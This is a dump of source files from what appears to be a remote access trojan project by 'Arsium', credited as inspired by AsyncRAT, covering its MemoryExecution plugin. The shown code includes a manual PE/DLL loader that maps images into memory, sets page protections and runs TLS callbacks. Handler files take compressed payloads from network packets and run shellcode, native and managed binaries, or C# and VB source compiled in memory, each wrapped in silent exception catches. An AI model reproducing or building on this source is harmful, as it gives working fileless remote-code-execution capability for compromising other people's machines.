WriteFuncRef; if (ReadThunkRef == IntPtr.Zero) break; if (Win.IMAGE_SNAP_BY_ORDINAL(ReadThunkRef)) { WriteFuncRef = Win.GetProcAddress(handle, Win.IMAGE_ORDINAL(ReadThunkRef)); } else { WriteFuncRef = Win.GetProcAddress(handle, PtrAdd(PtrAdd(pCode, ReadThunkRef), Of.IMAGE_IMPORT_BY_NAME_Name)); } if (WriteFuncRef == IntPtr.Zero) throw new DllException("Can't get adress for imported function"); PtrWrite(pFuncRef, WriteFuncRef); } } return (ImportModules.Count > 0 ? ImportModules.ToArray() : null); } static void FinalizeSections(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr pNTHeaders, uint PageSize) { UIntPtr imageOffset = (Is64BitProcess ? (UIntPtr)(unchecked((ulong)pCode.ToInt64()) & 0xffffffff00000000) : UIntPtr.Zero); IntPtr pSection = Win.IMAGE_FIRST_SECTION(pNTHeaders, OrgNTHeaders.FileHeader.SizeOfOptionalHeader); IMAGE_SECTION_HEADER Section = PtrRead(pSection); SectionFinalizeData sectionData = new SectionFinalizeData(); sectionData.Address = PtrBitOr(PtrAdd((IntPtr)0, Section.PhysicalAddress), imageOffset); sectionData.AlignedAddress = PtrAlignDown(sectionData.Address, (UIntPtr)PageSize); sectionData.Size = GetRealSectionSize(ref Section, ref OrgNTHeaders); sectionData.Characteristics = Section.Characteristics; sectionData.Last = false; pSection = PtrAdd(pSection, Sz.IMAGE_SECTION_HEADER); // loop through all sections and change access flags for (int i = 1; i < OrgNTHeaders.FileHeader.NumberOfSections; i++, pSection = PtrAdd(pSection, Sz.IMAGE_SECTION_HEADER)) { Section = PtrRead(pSection); IntPtr sectionAddress = PtrBitOr(PtrAdd((IntPtr)0, Section.PhysicalAddress), imageOffset); IntPtr alignedAddress = PtrAlignDown(sectionAddress, (UIntPtr)PageSize); IntPtr sectionSize = GetRealSectionSize(ref Section, ref OrgNTHeaders); // Combine access flags of all sections that share a page // TODO(fancycode): We currently share flags of a trailing large section with the page of a first small section. This should be optimized. IntPtr a = PtrAdd(sectionData.Address, sectionData.Size); ulong b = unchecked((ulong)a.ToInt64()), c = unchecked((ulong)alignedAddress); if (sectionData.AlignedAddress == alignedAddress || unchecked((ulong)PtrAdd(sectionData.Address, sectionData.Size).ToInt64()) > unchecked((ulong)alignedAddress)) { // Section shares page with previous if ((Section.Characteristics & Win.IMAGE_SCN_MEM_DISCARDABLE) == 0 || (sectionData.Characteristics & Win.IMAGE_SCN_MEM_DISCARDABLE) == 0) { sectionData.Characteristics = (sectionData.Characteristics | Section.Characteristics) & ~Win.IMAGE_SCN_MEM_DISCARDABLE; } else { sectionData.Characteristics |= Section.Characteristics; } sectionData.Size = PtrSub(PtrAdd(sectionAddress, sectionSize), sectionData.Address); continue; } FinalizeSection(sectionData, PageSize, OrgNTHeaders.OptionalHeader.SectionAlignment); sectionData.Address = sectionAddress; sectionData.AlignedAddress = alignedAddress; sectionData.Size = sectionSize; sectionData.Characteristics = Section.Characteristics; } sectionData.Last = true; FinalizeSection(sectionData, PageSize, OrgNTHeaders.OptionalHeader.SectionAlignment); } static void FinalizeSection(SectionFinalizeData SectionData, uint PageSize, uint SectionAlignment) { if (SectionData.Size == IntPtr.Zero) return; if ((SectionData.Characteristics & Win.IMAGE_SCN_MEM_DISCARDABLE) > 0) { // section is not needed any more and can safely be freed if (SectionData.Address == SectionData.AlignedAddress && (SectionData.Last || SectionAlignment == PageSize || (unchecked((ulong)SectionData.Size.ToInt64()) % PageSize) == 0) ) { // Only allowed to decommit whole pages Win.VirtualFree(SectionData.Address, SectionData.Size, AllocationType.DECOMMIT); } return; } // determine protection flags based on characteristics int readable = (SectionData.Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_READ) != 0 ? 1 : 0; int writeable = (SectionData.Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_WRITE) != 0 ? 1 : 0; int executable = (SectionData.Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_EXECUTE) != 0 ? 1 : 0; uint protect = (uint)ProtectionFlags[executable, readable, writeable]; if ((SectionData.Characteristics & Win.IMAGE_SCN_MEM_NOT_CACHED) > 0) protect |= Win.PAGE_NOCACHE; // change memory access flags uint oldProtect; if (!Win.VirtualProtect(SectionData.Address, SectionData.Size, protect, out oldProtect)) throw new DllException("Error protecting memory page"); } static void ExecuteTLS(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr pNTHeaders) { if (OrgNTHeaders.OptionalHeader.TLSTable.VirtualAddress == 0) return; IMAGE_TLS_DIRECTORY tlsDir = PtrRead(PtrAdd(pCode, OrgNTHeaders.OptionalHeader.TLSTable.VirtualAddress)); IntPtr pCallBack = tlsDir.AddressOfCallBacks; if (pCallBack != IntPtr.Zero) { for (IntPtr Callback; (Callback = PtrRead(pCallBack)) != IntPtr.Zero; pCallBack = PtrAdd(pCallBack, IntPtr.Size)) { ImageTlsDelegate tls = (ImageTlsDelegate)Marshal.GetDelegateForFunctionPointer(Callback, typeof(ImageTlsDelegate)); tls(pCode, DllReason.DLL_PROCESS_ATTACH, IntPtr.Zero); } } } /// /// Check if the process runs in 64bit mode or in 32bit mode /// /// True if process is 64bit, false if it is 32bit public static bool Is64BitProcess { get { return IntPtr.Size == 8; } } static uint GetMachineType() { return (IntPtr.Size == 8 ? Win.IMAGE_FILE_MACHINE_AMD64 : Win.IMAGE_FILE_MACHINE_I386); } static uint AlignValueUp(uint value, uint alignment) { return (value + alignment - 1) & ~(alignment - 1); } static IntPtr GetRealSectionSize(ref IMAGE_SECTION_HEADER Section, ref IMAGE_NT_HEADERS NTHeaders) { uint size = Section.SizeOfRawData; if (size == 0) { if ((Section.Characteristics & Win.IMAGE_SCN_CNT_INITIALIZED_DATA) > 0) { size = NTHeaders.OptionalHeader.SizeOfInitializedData; } else if ((Section.Characteristics & Win.IMAGE_SCN_CNT_UNINITIALIZED_DATA) > 0) { size = NTHeaders.OptionalHeader.SizeOfUninitializedData; } } return (IntPtr.Size == 8 ? (IntPtr)unchecked((long)size) : (IntPtr)unchecked((int)size)); } public void Close() { ((IDisposable)this).Dispose(); } void IDisposable.Dispose() { Dispose(); GC.SuppressFinalize(this); } public void Dispose() { if (_initialized) { if (_dllEntry != null) _dllEntry.Invoke(pCode, DllReason.DLL_PROCESS_DETACH, IntPtr.Zero); _initialized = false; } if (ImportModules != null) { foreach (IntPtr m in ImportModules) if (!PtrIsInvalidHandle(m)) Win.FreeLibrary(m); ImportModules = null; } if (pCode != IntPtr.Zero) { Win.VirtualFree(pCode, IntPtr.Zero, AllocationType.RELEASE); pCode = IntPtr.Zero; pNTHeaders = IntPtr.Zero; } Disposed = true; } // Protection flags for memory pages (Executable, Readable, Writeable) static readonly PageProtection[,,] ProtectionFlags = new PageProtection[2, 2, 2] { { // not executable { PageProtection.NOACCESS, PageProtection.WRITECOPY }, { PageProtection.READONLY, PageProtection.READWRITE } }, { // executable { PageProtection.EXECUTE, PageProtection.EXECUTE_WRITECOPY }, { PageProtection.EXECUTE_READ, PageProtection.EXECUTE_READWRITE } } }; struct SectionFinalizeData { internal IntPtr Address; internal IntPtr AlignedAddress; internal IntPtr Size; internal uint Characteristics; internal bool Last; } class Of { internal const int IMAGE_NT_HEADERS_OptionalHeader = 24; internal const int IMAGE_SECTION_HEADER_PhysicalAddress = 8; internal const int IMAGE_IMPORT_BY_NAME_Name = 2; } class Of32 { internal const int IMAGE_OPTIONAL_HEADER_ImageBase = 28; internal const int IMAGE_OPTIONAL_HEADER_ExportTable = 96; } class Of64 { internal const int IMAGE_OPTIONAL_HEADER_ImageBase = 24; internal const int IMAGE_OPTIONAL_HEADER_ExportTable = 112; } class Sz { internal const int IMAGE_SECTION_HEADER = 40; internal const int IMAGE_BASE_RELOCATION = 8; internal const int IMAGE_IMPORT_DESCRIPTOR = 20; } [StructLayout(LayoutKind.Sequential)] struct IMAGE_DOS_HEADER { public ushort e_magic; // Magic number public ushort e_cblp; // Bytes on last page of file public ushort e_cp; // Pages in file public ushort e_crlc; // Relocations public ushort e_cparhdr; // Size of header in paragraphs public ushort e_minalloc; // Minimum extra paragraphs needed public ushort e_maxalloc; // Maximum extra paragraphs needed public ushort e_ss; // Initial (relative) SS value public ushort e_sp; // Initial SP value public ushort e_csum; // Checksum public ushort e_ip; // Initial IP value public ushort e_cs; // Initial (relative) CS value public ushort e_lfarlc; // File address of relocation table public ushort e_ovno; // Overlay number public ushort e_res1a, e_res1b, e_res1c, e_res1d; // Reserved words public ushort e_oemid; // OEM identifier (for e_oeminfo) public ushort e_oeminfo; // OEM information; e_oemid specific public ushort e_res2a, e_res2b, e_res2c, e_res2d, e_res2e, e_res2f, e_res2g, e_res2h, e_res2i, e_res2j; // Reserved words public int e_lfanew; // File address of new exe header } [StructLayout(LayoutKind.Sequential)] struct IMAGE_NT_HEADERS { public uint Signature; public IMAGE_FILE_HEADER FileHeader; public IMAGE_OPTIONAL_HEADER OptionalHeader; } [StructLayout(LayoutKind.Sequential)] struct IMAGE_FILE_HEADER { public ushort Machine; public ushort NumberOfSections; public uint TimeDateStamp; public uint PointerToSymbolTable; public uint NumberOfSymbols; public ushort SizeOfOptionalHeader; public ushort Characteristics; } [StructLayout(LayoutKind.Sequential)] struct IMAGE_OPTIONAL_HEADER { public MagicType Magic; public byte MajorLinkerVersion; public byte MinorLinkerVersion; public uint SizeOfCode; public uint SizeOfInitializedData; public uint SizeOfUninitializedData; public uint AddressOfEntryPoint; public uint BaseOfCode; public ulong ImageBaseLong; public uint SectionAlignment; public uint FileAlignment; public ushort MajorOperatingSystemVersion; public ushort MinorOperatingSystemVersion; public ushort MajorImageVersion; public ushort MinorImageVersion; public ushort MajorSubsystemVersion; public ushort MinorSubsystemVersion; public uint Win32VersionValue; public uint SizeOfImage; public uint SizeOfHeaders; public uint CheckSum; public SubSystemType Subsystem; public DllCharacteristicsType DllCharacteristics; public IntPtr SizeOfStackReserve; public IntPtr SizeOfStackCommit; public IntPtr SizeOfHeapReserve; public IntPtr SizeOfHeapCommit; public uint LoaderFlags; public uint NumberOfRvaAndSizes; public IMAGE_DATA_DIRECTORY ExportTable; public IMAGE_DATA_DIRECTORY ImportTable; public IMAGE_DATA_DIRECTORY ResourceTable; public IMAGE_DATA_DIRECTORY ExceptionTable; public IMAGE_DATA_DIRECTORY CertificateTable; public IMAGE_DATA_DIRECTORY BaseRelocationTable; public IMAGE_DATA_DIRECTORY Debug; public IMAGE_DATA_DIRECTORY Architecture; public IMAGE_DATA_DIRECTORY GlobalPtr; public IMAGE_DATA_DIRECTORY TLSTable; public IMAGE_DATA_DIRECTORY LoadConfigTable; public IMAGE_DATA_DIRECTORY BoundImport; public IMAGE_DATA_DIRECTORY IAT; public IMAGE_DATA_DIRECTORY DelayImportDescriptor; public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; public IMAGE_DATA_DIRECTORY Reserved; } [StructLayout(LayoutKind.Sequential)] struct IMAGE_DATA_DIRECTORY { public uint VirtualAddress; public uint Size; } [StructLayout(LayoutKind.Sequential)] struct IMAGE_SECTION_HEADER { public ulong Name; //8 byte string public uint PhysicalAddress; public uint VirtualAddress; public uint SizeOfRawData; public uint PointerToRawData; public uint PointerToRelocations; public uint PointerToLinenumbers; public ushort NumberOfRelocations; public ushort NumberOfLinenumbers; public uint Characteristics; } [StructLayout(LayoutKind.Sequential)] struct IMAGE_BASE_RELOCATION { public uint VirtualAdress; public uint SizeOfBlock; } [StructLayout(LayoutKind.Sequential)] struct IMAGE_IMPORT_DESCRIPTOR { public uint OriginalFirstThunk; public uint TimeDateStamp; public uint ForwarderChain; public uint Name; public uint FirstThunk; } [StructLayout(LayoutKind.Sequential)] struct IMAGE_EXPORT_DIRECTORY { public uint Characteristics; public uint TimeDateStamp; public ushort MajorVersion; public ushort MinorVersion; public uint Name; public uint Base; public uint NumberOfFunctions; public uint NumberOfNames; public uint AddressOfFunctions; // RVA from base of image public uint AddressOfNames; // RVA from base of image public uint AddressOfNameOrdinals; // RVA from base of image } [StructLayout(LayoutKind.Sequential)] struct SYSTEM_INFO { public ushort wProcessorArchitecture; public ushort wReserved; public uint dwPageSize; public IntPtr lpMinimumApplicationAddress; public IntPtr lpMaximumApplicationAddress; public IntPtr dwActiveProcessorMask; public uint dwNumberOfProcessors; public uint dwProcessorType; public uint dwAllocationGranularity; public ushort wProcessorLevel; public ushort wProcessorRevision; }; [StructLayout(LayoutKind.Sequential)] struct IMAGE_TLS_DIRECTORY { public IntPtr StartAddressOfRawData; public IntPtr EndAddressOfRawData; public IntPtr AddressOfIndex; public IntPtr AddressOfCallBacks; public IntPtr SizeOfZeroFill; public uint Characteristics; } enum MagicType : ushort { IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b, IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b } enum SubSystemType : ushort { IMAGE_SUBSYSTEM_UNKNOWN = 0, IMAGE_SUBSYSTEM_NATIVE = 1, IMAGE_SUBSYSTEM_WINDOWS_GUI = 2, IMAGE_SUBSYSTEM_WINDOWS_CUI = 3, IMAGE_SUBSYSTEM_POSIX_CUI = 7, IMAGE_SUBSYSTEM_WINDOWS_CE_GUI = 9, IMAGE_SUBSYSTEM_EFI_APPLICATION = 10, IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER = 11, IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER = 12, IMAGE_SUBSYSTEM_EFI_ROM = 13, IMAGE_SUBSYSTEM_XBOX = 14 } enum DllCharacteristicsType : ushort { RES_0 = 0x0001, RES_1 = 0x0002, RES_2 = 0x0004, RES_3 = 0x0008, IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040, IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY = 0x0080, IMAGE_DLL_CHARACTERISTICS_NX_COMPAT = 0x0100, IMAGE_DLLCHARACTERISTICS_NO_ISOLATION = 0x0200, IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x0400, IMAGE_DLLCHARACTERISTICS_NO_BIND = 0x0800, RES_4 = 0x1000, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = 0x2000, IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = 0x8000 } enum BasedRelocationType { IMAGE_REL_BASED_ABSOLUTE = 0, IMAGE_REL_BASED_HIGH = 1, IMAGE_REL_BASED_LOW = 2, IMAGE_REL_BASED_HIGHLOW = 3, IMAGE_REL_BASED_HIGHADJ = 4, IMAGE_REL_BASED_MIPS_JMPADDR = 5, IMAGE_REL_BASED_MIPS_JMPADDR16 = 9, IMAGE_REL_BASED_IA64_IMM64 = 9, IMAGE_REL_BASED_DIR64 = 10 } enum AllocationType : uint { COMMIT = 0x1000, RESERVE = 0x2000, RESET = 0x80000, LARGE_PAGES = 0x20000000, PHYSICAL = 0x400000, TOP_DOWN = 0x100000, WRITE_WATCH = 0x200000, DECOMMIT = 0x4000, RELEASE = 0x8000 } enum MemoryProtection : uint { EXECUTE = 0x10, EXECUTE_READ = 0x20, EXECUTE_READWRITE = 0x40, EXECUTE_WRITECOPY = 0x80, NOACCESS = 0x01, READONLY = 0x02, READWRITE = 0x04, WRITECOPY = 0x08, GUARD_Modifierflag = 0x100, NOCACHE_Modifierflag = 0x200, WRITECOMBINE_Modifierflag = 0x400 } enum PageProtection { NOACCESS = 0x01, READONLY = 0x02, READWRITE = 0x04, WRITECOPY = 0x08, EXECUTE = 0x10, EXECUTE_READ = 0x20, EXECUTE_READWRITE = 0x40, EXECUTE_WRITECOPY = 0x80, GUARD = 0x100, NOCACHE = 0x200, WRITECOMBINE = 0x400, } enum ImageSectionFlags : uint { IMAGE_SCN_LNK_NRELOC_OVFL = 0x01000000, // Section contains extended relocations. IMAGE_SCN_MEM_DISCARDABLE = 0x02000000, // Section can be discarded. IMAGE_SCN_MEM_NOT_CACHED = 0x04000000, // Section is not cachable. IMAGE_SCN_MEM_NOT_PAGED = 0x08000000, // Section is not pageable. IMAGE_SCN_MEM_SHARED = 0x10000000, // Section is shareable. IMAGE_SCN_MEM_EXECUTE = 0x20000000, // Section is executable. IMAGE_SCN_MEM_READ = 0x40000000, // Section is readable. IMAGE_SCN_MEM_WRITE = 0x80000000 // Section is writeable. } enum DllReason : uint { DLL_PROCESS_ATTACH = 1, DLL_THREAD_ATTACH = 2, DLL_THREAD_DETACH = 3, DLL_PROCESS_DETACH = 0 } class Win { public const ushort IMAGE_DOS_SIGNATURE = 0x5A4D; public const uint IMAGE_NT_SIGNATURE = 0x00004550; public const uint IMAGE_FILE_MACHINE_I386 = 0x014c; public const uint IMAGE_FILE_MACHINE_AMD64 = 0x8664; public const uint PAGE_NOCACHE = 0x200; public const uint IMAGE_SCN_CNT_INITIALIZED_DATA = 0x00000040; public const uint IMAGE_SCN_CNT_UNINITIALIZED_DATA = 0x00000080; public const uint IMAGE_SCN_MEM_DISCARDABLE = 0x02000000; public const uint IMAGE_SCN_MEM_NOT_CACHED = 0x04000000; public const uint IMAGE_FILE_DLL = 0x2000; [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect); [DllImport("msvcrt.dll", EntryPoint = "memset", CallingConvention = CallingConvention.Cdecl, SetLastError = false)] public static extern IntPtr MemSet(IntPtr dest, int c, UIntPtr count); [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] public static extern IntPtr LoadLibrary(IntPtr lpFileName); [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] public static extern IntPtr GetProcAddress(IntPtr hModule, IntPtr procName); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool VirtualFree(IntPtr lpAddress, IntPtr dwSize, AllocationType dwFreeType); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool VirtualProtect(IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool FreeLibrary(IntPtr hModule); [DllImport("kernel32.dll", SetLastError = true)] public static extern void GetNativeSystemInfo(out SYSTEM_INFO lpSystemInfo); // Equivalent to the IMAGE_FIRST_SECTION macro public static IntPtr IMAGE_FIRST_SECTION(IntPtr pNTHeader, ushort ntheader_FileHeader_SizeOfOptionalHeader) { return PtrAdd(pNTHeader, Of.IMAGE_NT_HEADERS_OptionalHeader + (int)ntheader_FileHeader_SizeOfOptionalHeader); } // Equivalent to the IMAGE_FIRST_SECTION macro public static int IMAGE_FIRST_SECTION(int lfanew, ushort ntheader_FileHeader_SizeOfOptionalHeader) { return lfanew + Of.IMAGE_NT_HEADERS_OptionalHeader + ntheader_FileHeader_SizeOfOptionalHeader; } // Equivalent to the IMAGE_ORDINAL32/64 macros public static IntPtr IMAGE_ORDINAL(IntPtr ordinal) { return (IntPtr)(int)(unchecked((ulong)ordinal.ToInt64()) & 0xffff); } // Equivalent to the IMAGE_SNAP_BY_ORDINAL32/64 macro public static bool IMAGE_SNAP_BY_ORDINAL(IntPtr ordinal) { return (IntPtr.Size == 8 ? (ordinal.ToInt64() < 0) : (ordinal.ToInt32() < 0)); } } static T PtrRead(IntPtr ptr) { return (T)Marshal.PtrToStructure(ptr, typeof(T)); } static void PtrWrite(IntPtr ptr, T val) { Marshal.StructureToPtr(val, ptr, false); } static IntPtr PtrAdd(IntPtr p, int v) { return (IntPtr)(p.ToInt64() + v); } static IntPtr PtrAdd(IntPtr p, uint v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() + unchecked((long)v)) : (IntPtr)(p.ToInt32() + unchecked((int)v))); } static IntPtr PtrAdd(IntPtr p, IntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() + v.ToInt64()) : (IntPtr)(p.ToInt32() + v.ToInt32())); } static IntPtr PtrAdd(IntPtr p, UIntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() + unchecked((long)v.ToUInt64())) : (IntPtr)(p.ToInt32() + unchecked((int)v.ToUInt32()))); } static IntPtr PtrSub(IntPtr p, IntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() - v.ToInt64()) : (IntPtr)(p.ToInt32() - v.ToInt32())); } static IntPtr PtrBitOr(IntPtr p, UIntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)unchecked((long)(unchecked((ulong)p.ToInt64()) | v.ToUInt64())) : (IntPtr)unchecked((int)(unchecked((uint)p.ToInt32()) | v.ToUInt32()))); } static IntPtr PtrAlignDown(IntPtr p, UIntPtr align) { return (IntPtr)unchecked((long)(unchecked((ulong)p.ToInt64()) & ~(align.ToUInt64() - 1))); } static bool PtrIsInvalidHandle(IntPtr h) { return (h == IntPtr.Zero || h == (IntPtr.Size == 8 ? (IntPtr)(long)-1 : (IntPtr)(int)-1)); } static bool PtrSpanBoundary(IntPtr p, uint Size, int BoundaryBits) { return ((unchecked((ulong)p.ToInt64()) >> BoundaryBits) < ((unchecked((ulong)(p.ToInt64())) + Size) >> BoundaryBits)); } static T BytesReadStructAt(byte[] buf, int offset) { int size = Marshal.SizeOf(typeof(T)); IntPtr ptr = Marshal.AllocHGlobal(size); Marshal.Copy(buf, offset, ptr, size); T res = (T)Marshal.PtrToStructure(ptr, typeof(T)); Marshal.FreeHGlobal(ptr); return res; } } ================================================ FILE: Remote Access Tool/Plugins/MemoryExecution/DotNetCode.cs ================================================ using System; using System.CodeDom.Compiler; using System.Reflection; /* || AUTHOR Arsium || || github : https://github.com/arsium || || Inspiration : AsyncRAT || */ namespace Plugin { internal class DotNetCode { internal static void Compiler(CodeDomProvider codeDomProvider, string source, string[] referencedAssemblies, string compilerOptions) { try { var compilerParameters = new CompilerParameters(referencedAssemblies) { GenerateExecutable = true, GenerateInMemory = true, CompilerOptions = compilerOptions, TreatWarningsAsErrors = false, IncludeDebugInformation = false, }; var compilerResults = codeDomProvider.CompileAssemblyFromSource(compilerParameters, source); if (compilerResults.Errors.Count > 0) { } else { Assembly assembly = compilerResults.CompiledAssembly; MethodInfo methodInfo = assembly.EntryPoint; object injObj = assembly.CreateInstance(methodInfo.Name); object[] parameters = new object[1]; if (methodInfo.GetParameters().Length == 0) { parameters = null; } methodInfo.Invoke(injObj, parameters); } } catch (Exception) { } } } } ================================================ FILE: Remote Access Tool/Plugins/MemoryExecution/FodyWeavers.xml ================================================  ================================================ FILE: Remote Access Tool/Plugins/MemoryExecution/FodyWeavers.xsd ================================================  A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. A list of unmanaged 32 bit assembly names to include, delimited with line breaks. A list of unmanaged 64 bit assembly names to include, delimited with line breaks. The order of preloaded assemblies, delimited with line breaks. This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. Controls if .pdbs for reference assemblies are also embedded. Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. A list of unmanaged 32 bit assembly names to include, delimited with |. A list of unmanaged 64 bit assembly names to include, delimited with |. The order of preloaded assemblies, delimited with |. 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. A comma-separated list of error codes that can be safely ignored in assembly verification. 'false' to turn off automatic generation of the XML Schema file. ================================================ FILE: Remote Access Tool/Plugins/MemoryExecution/Launch.cs ================================================ using Microsoft.CSharp; using Microsoft.VisualBasic; using PacketLib; using PacketLib.Packet; using PacketLib.Utils; using System; using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { public static class Launch { public static void Main(LoadingAPI loadingAPI) { MemoryExecutionPacket memoryExecutionPacket; byte[] decompressed; switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.MEM_EXEC_SHELLCODE: memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.CurrentPacket; decompressed = Compressor.QuickLZ.Decompress(memoryExecutionPacket.payload); ShellCode.RunShellCode(decompressed); break; case PacketType.MEM_EXEC_NATIVE_PE: memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.CurrentPacket; decompressed = Compressor.QuickLZ.Decompress(memoryExecutionPacket.payload); NativePE.LoadPE(decompressed); break; case PacketType.MEM_EXEC_NATIVE_DLL: memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.CurrentPacket; decompressed = Compressor.QuickLZ.Decompress(memoryExecutionPacket.payload); NativeDll.LoadDll(decompressed); break; case PacketType.MEM_EXEC_MANAGED_DLL: memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.CurrentPacket; decompressed = Compressor.QuickLZ.Decompress(memoryExecutionPacket.payload); ManagedDll.LoadDll(decompressed, memoryExecutionPacket.managedEntryPoint); break; case PacketType.MEM_EXEC_MANAGED_PE: memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.CurrentPacket; decompressed = Compressor.QuickLZ.Decompress(memoryExecutionPacket.payload); ManagedExe.LoadExe(decompressed); break; case PacketType.MEM_EXEC_CSHARP_CODE: DotNetCode.Compiler(new CSharpCodeProvider(new Dictionary() { {"CompilerVersion", "v4.0" } }), ((RemoteCodeExecution)loadingAPI.CurrentPacket).code, string.Join(",", ((RemoteCodeExecution)loadingAPI.CurrentPacket).references).Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries), ((RemoteCodeExecution)loadingAPI.CurrentPacket).compilerOptions); break; case PacketType.MEM_EXEC_VB_CODE: DotNetCode.Compiler(new VBCodeProvider(new Dictionary() { {"CompilerVersion", "v4.0" } }), ((RemoteCodeExecution)loadingAPI.CurrentPacket).code, string.Join(",", ((RemoteCodeExecution)loadingAPI.CurrentPacket).references).Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries), ((RemoteCodeExecution)loadingAPI.CurrentPacket).compilerOptions); break; default: return; } Miscellaneous.CleanMemory(); } } } ================================================ FILE: Remote Access Tool/Plugins/MemoryExecution/ManagedDll.cs ================================================ using Microsoft.VisualBasic; using System.Threading; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal static class ManagedDll { internal static bool LoadDll(byte[] payload, string etp) { Thread thread = new Thread(() => { try { string[] s = Strings.Split(etp, "."); System.Reflection.Assembly assemblytoload = System.Reflection.Assembly.Load(payload); System.Reflection.MethodInfo method = null; method = assemblytoload.GetType(s[0] + "." + s[1]).GetMethod(s[2]); object obj = assemblytoload.CreateInstance(method.Name); } catch {} }); thread.Start(); if (thread.IsAlive) return true; return false; } } } ================================================ FILE: Remote Access Tool/Plugins/MemoryExecution/ManagedExe.cs ================================================ using System.Threading; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal static class ManagedExe { internal static bool LoadExe(byte[] payload) { Thread thread = new Thread(() => { try { System.Reflection.Assembly a = System.Reflection.Assembly.Load(payload); System.Reflection.MethodInfo m = a.EntryPoint; var parameters = m.GetParameters().Length == 0 ? null : new[] { new string[0] { } }; m.Invoke(null, parameters); } catch { } }); thread.Start(); if (thread.IsAlive) return true; return false; } } } ================================================ FILE: Remote Access Tool/Plugins/MemoryExecution/MemoryExecution.csproj ================================================  Debug AnyCPU {0607E970-CC93-4A2A-83CA-53B9D537C96E} Library Properties Plugin MemoryExecution v4.5 512 true false none false ..\..\bin\Debug\Plugins\ DEBUG;TRACE prompt 4 none true ..\..\bin\Release\Plugins\ TRACE prompt 4 {81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff} PacketLib ================================================ FILE: Remote Access Tool/Plugins/MemoryExecution/NativeDll.cs ================================================ using System.Threading; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class NativeDll { internal static bool LoadDll(byte[] payload) { /*Task.Run(() => { DLLFromMemory dll = new DLLFromMemory(payload); dll.Dispose(); });*/ Thread thread = new Thread(() => { try { DLLFromMemory dll = new DLLFromMemory(payload); dll.Dispose(); } catch {} }); thread.Start(); if (thread.IsAlive) return true; return false; } } } ================================================ FILE: Remote Access Tool/Plugins/MemoryExecution/NativePE.cs ================================================ using System.Threading; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal static class NativePE { internal static bool LoadPE(byte[] payload) { Thread thread = new Thread(() => { try { DLLFromMemory exe = new DLLFromMemory(payload); exe.MemoryCallEntryPoint(); exe.Dispose(); } catch {} }); thread.Start(); if (thread.IsAlive) return true; return false; } } } ================================================ FILE: Remote Access Tool/Plugins/MemoryExecution/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // Les informations générales relatives à un assembly dépendent de // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations // associées à un assembly. [assembly: AssemblyTitle("MemoryExecution")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("MemoryExecution")] [assembly: AssemblyCopyright("Arsium © 2022")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de // COM, affectez la valeur true à l'attribut ComVisible sur ce type. [assembly: ComVisible(false)] // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM 